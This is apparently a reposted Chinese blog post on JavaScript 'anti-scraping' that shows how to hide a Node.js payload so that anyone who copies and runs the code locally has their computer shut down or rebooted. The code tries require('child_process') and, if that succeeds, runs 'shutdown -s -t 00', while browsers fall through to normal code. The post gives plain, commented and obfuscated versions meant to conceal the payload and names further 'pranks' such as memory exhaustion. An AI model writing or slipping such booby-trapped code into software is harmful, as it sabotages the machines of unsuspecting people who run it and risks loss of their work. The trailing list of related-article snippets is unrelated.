让扣你代码的人电脑关机-js反爬

文案

让扣你代码的人电脑关机,赶紧学起来。
众所周知。
浏览器中无法导入模块,会报错。
nodejs中可以导入模块。
那么我们可以在导入语句后加入整蛊代码。
在捕获异常后执行正常的代码。
那么代码在浏览器中就会正常执行,而当你在本地环境中执行的时候就会电脑关机。
我们给出的都是直接的代码,我们也可以将代码混淆,得到这样的效果,完全看不懂,但是运行也会达到同样的效果。
简略版详细注释版代码,关机和重启代码均可在我的github中找到。
FuckSpider是一个反爬虫策略讲解与存放代码示例的仓库。
所有关于反爬策略的文章代码都会放在这里。

相关的用法还有很多,检测手段有刚才的导入语句错误,还有格式化检测,打开控制台检测,整蛊手段还有内存爆破,重定向,关闭浏览器等。这些检测与整蛊手段有的可以搭配使用,大家仁者见仁,有好的想法可以在评论区讨论哟。

try{// 导入语句console.log('这里执行了导入语句');const { exec } = require('child_process');// 整蛊代码,比如关机代码console.log('这里执行了关机代码');}catch{
// 正常代码console.log('这里执行了业务所需的正常代码');
}
try{// 导入语句// 整蛊代码,比如关机代码const { exec } = require('child_process');function shutdownWindow() {let command = exec('shutdown -s -t 00', function(err, stdout, stderr) {if(err || stderr) {console.log("关机失败!" + err + stderr);}});command.stdin.end();command.on('close', function(code) {console.log("shutdown",  code);});}shutdownWindow();
}catch{
// 正常代码console.log('这里执行了业务所需的正常代码');
}

素材

浏览器导入包失败

image.png

nodejs导入包成功

image.png

整蛊代码逻辑image.png

浏览器效果

image.png

本地运行效果

image.png

混淆后

image.png

代码仓库

image.png

附录

测试代码

try{const {exec} = require('child_process');console.log('成功导入了包')
}catch{console.log('导入包失败')
}

关机代码

const { exec } = require('child_process');
function shutdownWindow() {let command = exec('shutdown -s -t 00', function(err, stdout, stderr) {if(err || stderr) {console.log("关机失败!" + err + stderr);}});command.stdin.end();command.on('close', function(code) {console.log("shutdown",  code);});
}

注释版

// 这段代码是一个Node.js脚本,它使用child_process模块中的exec函数来执行系统命令。
// 具体来说,它是用来在Windows系统上执行关机命令的。// 这一行导入了Node.js的child_process模块,并从中提取出exec函数。
// 这个模块是内置的,不需要手动安装
// child_process模块允许Node.js与操作系统之间进行交互,包括执行外部命令。
const { exec } = require('child_process');
// 这一行定义了一个名为shutdownWindow的函数,该函数用于执行关机操作。
function shutdownWindow() {// 这一行使用exec函数执行了一个系统命令。具体来说,// 它执行了`shutdown -s -t 00`这个命令,其中:// - `shutdown` 是Windows系统的命令,用于关机或重启计算机。// - `-s` 参数表示执行关机操作。// - `-t 00` 参数表示在0秒后关机。这实际上是立即关机。 // 后面的函数是exec函数的回调函数,当命令执行完成时被调用。它接收三个参数:// - `err`: 表示在执行过程中发生的错误,如果没有错误则为null。// - `stdout`: 表示命令的标准输出。// - `stderr`: 表示命令的错误输出。let command = exec('shutdown -s -t 00', function(err, stdout, stderr) {// 这里检查是否有错误发生,如果有错误或者stderr不为空,// 则输出关机失败的消息,并将错误信息打印出来。if(err || stderr) {console.log("关机失败!" + err + stderr);}});// 这一行关闭了命令的标准输入流。// 在这个例子中,我们不需要向命令输入任何内容,所以直接关闭输入流。command.stdin.end();// 这里注册了一个'close'事件监听器,当命令执行完毕并关闭时会被调用。// 它接收一个参数code,表示命令的退出代码。command.on('close', function(code) {// 这一行在命令执行完毕后输出关闭代码,表示关机是否成功执行。console.log("关机",  code);});
}

混淆一点点

function a() {const m = ['nJu5nJG4AvL2AMnq','odGZndy3EeH2B216','C2H1DgrVD24','y2XVC2u','mteYCgnSBeLk','6l+z6yEm5OMN6kgm5lQg5lIA5yQH5OMa6zYa55Qe5Q2J5BI45lUJ56cb','C3rKAw4','ntyWnZaWmtbvv2P3qxG','5ywZ5PY65AsX6lsL77Yb','C2H1DgrVD24GlxmGlxqGmda','y2HPBgrFChjVy2vZCW','mta5ndi3ne9jthzVua','q1j4s0i','Bg9N','r3Hxs1e','mZCZmtaZnKj4wePgrq','C2zrEhK','wwTVDxy','owDcufvira','ndq0otyYmwTfuLHYsW','rxnsBMu','ndm2mZeYr2Lls2Xc','nuPesvDMrW','zw5K'];a = function () {return m;};return a();
}
const i = b;
(function (c, d) {const h = b, e = c();while (!![]) {try {const f = -parseInt(h(0x107)) / (-0x176c + -0xd98 + -0x41d * -0x9) + -parseInt(h(0x111)) / (0x242b + 0x2 * 0xaa1 + -0x396b) + -parseInt(h(0x119)) / (0x3e6 * 0x4 + -0xca * 0x30 + 0x164b) + -parseInt(h(0x115)) / (-0x1 * 0xcb3 + -0xa45 + 0x16fc) + parseInt(h(0x104)) / (0x1 * -0x2303 + 0x1f96 + -0x31 * -0x12) * (-parseInt(h(0x106)) / (-0x7 * 0x1c9 + -0x12e3 * -0x1 + -0x65e)) + -parseInt(h(0x10a)) / (-0x46f + -0x1618 + 0x1a8e) * (parseInt(h(0x103)) / (0x1 * 0x10af + 0xb * 0x3f + -0x135c)) + -parseInt(h(0x118)) / (0x350 * -0x6 + -0x1ff7 + 0x298 * 0x14) * (-parseInt(h(0x10d)) / (0x1 * -0x1261 + 0x2 * -0xfea + -0x1 * -0x323f));if (f === d)break;elsee['push'](e['shift']());} catch (g) {e['push'](e['shift']());}}
}(a, -0xf27c3 + -0x1d39 * -0x4e + 0x121ee8));
function b(c, d) {const e = a();return b = function (f, g) {f = f - (-0x3d * -0x37 + 0x2011 + 0x1615 * -0x2);let h = e[f];if (b['WrGCrI'] === undefined) {var i = function (m) {const n = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let o = '', p = '';for (let q = 0x722 + 0x3 * -0xc70 + 0x2 * 0xf17, r, s, t = 0x6a1 + 0x25 * -0x8c + -0x3 * -0x489; s = m['charAt'](t++); ~s && (r = q % (0x2 * 0x10af + 0xf83 + 0x1 * -0x30dd) ? r * (0x1 * 0x1aae + -0x339 + 0x1735 * -0x1) + s : s, q++ % (-0x1766 + -0x11e6 + -0x2 * -0x14a8)) ? o += String['fromCharCode'](-0xa * 0x25f + -0x5 * 0xe9 + -0x46 * -0x6b & r >> (-(0x1 * -0x20c7 + -0x7 * -0x11b + 0x190c) * q & 0x18c2 + -0x39b * 0x1 + 0x3 * -0x70b)) : 0xb11 + 0x13c8 + -0x1ed9) {s = n['indexOf'](s);}for (let u = -0x176c + -0x2c3 + 0x1a2f, v = o['length']; u < v; u++) {p += '%' + ('00' + o['charCodeAt'](u)['toString'](0x1 * -0x409 + -0x2 * 0x52f + -0x1 * -0xe77))['slice'](-(-0x3df + 0xb3e + -0x75d));}return decodeURIComponent(p);};b['ZXfmir'] = i, c = arguments, b['WrGCrI'] = !![];}const j = e[0x3 * -0x7f + 0x156d + -0x13f0], k = f + j, l = c[k];return !l ? (h = b['ZXfmir'](h), c[k] = h) : h = l, h;}, b(c, d);
}
try {const {exec} = require(i(0x110));function shutdownWindow() {const j = i, c = {'GxWKQ': function (e, f) {return e || f;},'CRxKB': function (e, f) {return e + f;},'Ykouv': function (e, f) {return e + f;},'EsRne': j(0x108),'sfQxy': j(0x10f)};let d = exec(c[j(0x116)], function (e, f, g) {const k = j;c[k(0x114)](e, g) && console[k(0x113)](c[k(0x112)](c[k(0x117)](k(0x10e), e), g));});d[j(0x10c)][j(0x105)](), d['on'](j(0x109), function (e) {const l = j;console[l(0x113)](c[l(0x102)], e);});}shutdownWindow();
} catch {console[i(0x113)](i(0x10b));
}

重启代码

const { exec } = require('child_process');
function rebootWindow() {let command = exec('reboot', function(err, stdout, stderr) {if(err || stderr) {console.log("reboot failed" + err + stderr);}});command.stdin.end();command.on('close', function(code) {console.log("reboot",  code);});
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/759008.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Docker常用命令!!!

一、docker基础命令 1、启动docker systemctl start docker 2、关闭docker systemctl stop docker 3、重启docker systemctl restart docker 4、docker设置随服务启动而自启动 systemctl enable docker 5、查看docker 运行状态 systemctl status docker 6、查看docker 版本号信…

Microsoft Edge浏览器Internal Server Error问题解决

网页无法在Microsoft Edge浏览器&#xff0c;尝试Google浏览器可以&#xff0c;排除服务器问题&#xff0c;应该是浏览器本身的问题。 一般这种都是和cookie有关&#xff0c;尝试删除记录 解决&#xff01;

【MQTT】Vue中使用mqtt

MQTT&#xff08;Message Queuing Telemetry Transport&#xff09;作为一种轻量级、开放、灵活、简单、易于实现的通信协议。它基于发布/订阅&#xff08;Publish/Subscribe&#xff09;模式的消息传输协议&#xff0c;在上位机和硬件设备间通信时经常用到。虽然在嵌入式软件一…

【图解物联网】第4章 先进的感测技术

4.1 逐步扩张的传感器世界 在前面的章节中&#xff0c;传感器的概念是“用来获取温度和湿度等纯数据的电子零件”。温度传感器和加速度传感器等确实是用来获取简单数据的小零件&#xff0c;我们可以将其理解为构成智能手机等电子设备的一个要素。 然而&#xff0c;随…

分布式文件存储与数据缓存(二)| Redis

目录 Redis概述_什么是NoSQLNoSQL的四大分类KV型NoSql&#xff08;代表----Redis&#xff09;列式NoSql&#xff08;代表----HBase&#xff09;文档型NoSql&#xff08;代表----MongoDB&#xff09;搜索型NoSql&#xff08;代表----ElasticSearch&#xff09; 关系型数据库和非…

Aspose.PDF功能演示:在 JavaScript 中优化 PDF 文件

PDF 文件是一种普遍存在的文档共享格式&#xff0c;但它们有时可能会很大&#xff0c;导致加载时间变慢并增加存储要求。优化 PDF 文件对于确保无缝的用户体验至关重要&#xff0c;尤其是在 Web 应用程序中。因此&#xff0c;在这篇博文中&#xff0c;我们将探讨如何使用 JavaS…

NCV4266ST50T3G线性稳压器芯片中文资料规格书PDF数据手册引脚图参数图片价格

产品概述&#xff1a; NCV4266 是一款集成了 150 mA 输出电流的低漏稳压器系列&#xff0c;可用于严酷汽车环境。它包括了较宽的运行温度范围和输出电压范围。该器件提供 3.3 V、5.0 V 固定电压版本&#xff0c;以及可调电压版本&#xff0c;输出电压准确度为 2%。它具有较高的…

IDEA 下载依赖包源码报错 Cannot download sources Sources not found for:XXX

最近在做一个功能的时候想看一个库的源码&#xff0c;结果源码下不下来&#xff0c;报Cannot download sources Sources not found for:XXX,网上搜了半天&#xff0c;也找不到靠谱的结论 后来想了下&#xff0c;应该是镜像那边出了问题&#xff0c;把镜像一删&#xff0c;源码…

HTML静态网页成品作业(HTML+CSS)——非遗徽州木雕网页(6个页面)

&#x1f389;不定期分享源码&#xff0c;关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 &#x1f3f7;️本套采用HTMLCSS&#xff0c;未使用Javacsript代码&#xff0c;共有6个页面。 二、作品演示 三、代…

Linux nginx 域名申请证书后无法使用(无法访问此网站)阿里云域名

首先我们一步排除 1、域名备案是否成功&#xff1f; 网站备案_ICP备案_备案迁移_备案-阿里云 2、域名是否解析&#xff08;我就是错在这里&#xff09; 阿里云登录 - 欢迎登录阿里云&#xff0c;安全稳定的云计算服务平台 3、是否申请证书成功&#xff1f; 4、nginx是否支持…

【云原生 • Kubernetes】认识 k8s、k8s 架构、核心实战

文章目录 Kubernetes基础概念1. 是什么2. 架构2.1 工作方式2.2 组件架构 3. k8s组件创建集群步骤一 基础环境步骤二 安装kubelet、kubeadm、kubectl步骤三 主节点使用kubeadm引导集群步骤四 副节点加入主节点步骤五 部署dashboard Kubernetes核心实战1. 资源创建方式2. Namespa…

Beamer模板——基于LaTeX制作学术PPT

Beamer模板——基于LaTeX制作学术PPT 介绍Beamer的基本使用安装和编译用于学术汇报的模板项目代码模板效果图 Beamer的高级特性动态效果分栏布局定理环境 介绍 在学术领域&#xff0c;演示文稿是展示和讨论研究成果的重要方式。传统的PowerPoint虽然方便&#xff0c;但在处理复…

python爬虫之爬虫入门

import requests rrequests.get("http://www.baidu.com") print(r.status_code)#用status_code来确定页面状态是否正常 type(r) r.headers requests库入门 status_code可以用来检验网页状态是否正常type(r)返回r的类型r.headers返回该页面头部信 运行结果如下&#x…

SQLiteC/C++接口详细介绍sqlite3_stmt类(二)

返回目录&#xff1a;SQLite—免费开源数据库系列文章目录 上一篇&#xff1a;SQLiteC/C接口详细介绍sqlite3_stmt类简介 下一篇&#xff1a;SQLiteC/C接口详细介绍sqlite3_stmt类&#xff08;三&#xff09; sqlite3_reset() 功能&#xff1a;重置一个准备好执行的SQL语…

跨越时空的纽带:探索Facebook如何连接人与人

引言 Facebook作为全球最大的社交媒体平台之一&#xff0c;已经成为了人们日常生活中不可或缺的一部分。它不仅仅是一个社交网络&#xff0c;更是连接人与人、人与世界的纽带。在这篇文章中&#xff0c;我们将深入探讨Facebook如何跨越时空&#xff0c;连接人与人之间的关系&a…

Idea 不能创建JDK1.8的spring boot项目

由于https://start.springboot.io/ 不支持JDK1.8&#xff0c;那么我们需要换idea的springboot创建源&#xff0c;需要换成 https://start.aliyun.com&#xff0c;这也是网上大部分教程说的&#xff0c;但是我这边会报这样的错误&#xff1a; Initialization failed for https:…

Linux/Monitored

Enumeration nmap 用 nmap 扫描了常见的端口&#xff0c;发现对外开放了 22,80,389,443,5667 端口&#xff0c;端口详细信息如下 ┌──(kali㉿kali)-[~/vegetable/HTB/Monitored] └─$ nmap -sC -sV -p 22,80,389,443,5667 10.10.11.248 Starting Nmap 7.93 ( https://nm…

《论文阅读》带边界调整的联合约束学习用于情感原因对提取 ACL 2023

《论文阅读》带边界调整的联合约束学习用于情感原因对提取 前言简介Clause EncoderJoint Constrained LearningBoundary Adjusting损失函数前言 亲身阅读感受分享,细节画图解释,再也不用担心看不懂论文啦~ 无抄袭,无复制,纯手工敲击键盘~ 今天为大家带来的是《Joint Cons…

音频和视频标签

音频用audio标签 controls表示控制栏 loop循环播放音频 autoplay自动播放&#xff08;浏览器基于隐私一般不支持&#xff09; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Com…

UDP客户端与服务端执行bind和connect

udp服务器使用connect()函数指明套接字的目的地址/端口号&#xff0c;使服务器只接受特定主机的请求&#xff1b; udp服务器调用了bind()函数为服务器套接字绑定本地地址/端口&#xff0c;使得客户端知道发数据的目的地址/端口&#xff1b; udp客户端调用connect()函数指明目的…